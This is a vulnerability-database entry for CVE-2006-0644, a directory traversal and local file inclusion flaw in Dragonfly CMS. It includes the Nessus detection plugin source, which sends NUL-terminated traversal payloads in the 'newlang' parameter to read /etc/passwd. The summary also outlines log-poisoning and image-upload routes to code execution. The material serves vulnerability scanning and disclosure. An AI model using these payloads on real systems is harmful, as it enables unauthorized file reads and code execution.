Vulnerabilities > CVE-2006-0644 - Unspecified vulnerability in Cpg-Nuke Dragonfly CMS 9.0.6.1

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
cpg-nuke
nessus
exploit available
NVD
Published: 2006-02-10
Updated: 2024-11-21

Summary

Multiple directory traversal vulnerabilities in install.php in CPG-Nuke Dragonfly CMS (aka CPG Dragonfly CMS) 9.0.6.1 allow remote attackers to include and execute arbitrary local files via directory traversal sequences and a NUL (%00) character in (1) the newlang parameter and (2) the installlang parameter in a cookie, as demonstrated by using error.php to insert malicious code into a log file, or uploading a malicious .png file, which is then included using install.php.

Vulnerable Configurations

Part Description Count
Application
Cpg-Nuke
1

Exploit-Db

descriptionCPGNuke Dragonfly 9.0.6.1 Remote Commands Execution Exploit. CVE-2006-0644. Webapps exploit for php platform
idEDB-ID:1478
last seen2016-01-31
modified2006-02-08
published2006-02-08
reporterrgod
sourcehttps://www.exploit-db.com/download/1478/
titleCPGNuke Dragonfly 9.0.6.1 - Remote Commands Execution Exploit

Nessus

NASL familyCGI abuses
NASL idDRAGONFLY_CURRENTLANG_FILE_INCLUDE.NASL
descriptionThe remote host appears to be running Dragonfly / CPG-Nuke CMS, a content management system written in PHP. The installed version of Dragonfly / CPG-Nuke CMS fails to validate user input to the
last seen2020-06-01
modified2020-06-02
plugin id20869
published2006-02-10
reporterThis script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/20869
titleDragonfly CMS install.php newlang Parameter Local File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description) {
  script_id(20869);
  script_version("1.21");

  script_cve_id("CVE-2006-0644");
  script_bugtraq_id(16546);

  script_name(english:"Dragonfly CMS install.php newlang Parameter Local File Inclusion");
  script_summary(english:"Checks for currentlang parameter local file include vulnerability in Dragonfly CMS");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
local file include issue." );
 script_set_attribute(attribute:"description", value:
"The remote host appears to be running Dragonfly / CPG-Nuke CMS, a
content management system written in PHP. 

The installed version of Dragonfly / CPG-Nuke CMS fails to validate
user input to the 'getlang' parameter as well as the 'installlang'
cookie before using them in the 'install.php' script in PHP
'require()' functions.  An unauthenticated attacker can leverage this
issue to view arbitrary files on the remote host and possibly to
execute arbitrary PHP code taken from files on the remote host, both
subject to the privileges of the web server user id.  

Note that successful exploitation is not affected by PHP's
'register_globals' and 'magic_quotes_gpc' settings." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2006/Feb/133" );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/424439/30/0/threaded" );
 script_set_attribute(attribute:"see_also", value:"https://dragonflycms.org/Forums/viewtopic/p=98034.html" );
 script_set_attribute(attribute:"solution", value:
"Remove the affected 'install.php' script." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/02/10");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/02/08");
 script_cvs_date("Date: 2018/11/15 20:50:16");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

global_var port;

port = get_http_port(default:80, embedded: 0, php: 1);


# A function to actually read a file.
function exploit(dir, file) {
  local_var r;

  r = http_send_recv3(method: 'GET', port: port, item: string(dir, "/install.php?", "newlang=", file), exit_on_fail: 1 );
  return r[2];
}


# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/public_html", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs) {
  res = exploit(dir:dir, file:"../../cpg_error.log%00");

  # There's a problem if it looks like Dragonfly's log file.
  if ("# CHMOD this file to" >< res) {
    # Try to exploit it to read /etc/passwd for the report.
    res2 = exploit(dir:dir, file:"../../../../../../../../../../etc/passwd%00");
    if (res2) contents = res2 - strstr(res2, "<!DOCTYPE html PUBLIC");

    if (isnull(contents)) security_hole(port);
    else {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "\n",
        "Here is the /etc/passwd file that Nessus read from the remote host :\n",
        "\n",
        contents
      );
      security_hole(port:port, extra:report);
    }

    exit(0);
  }
}

References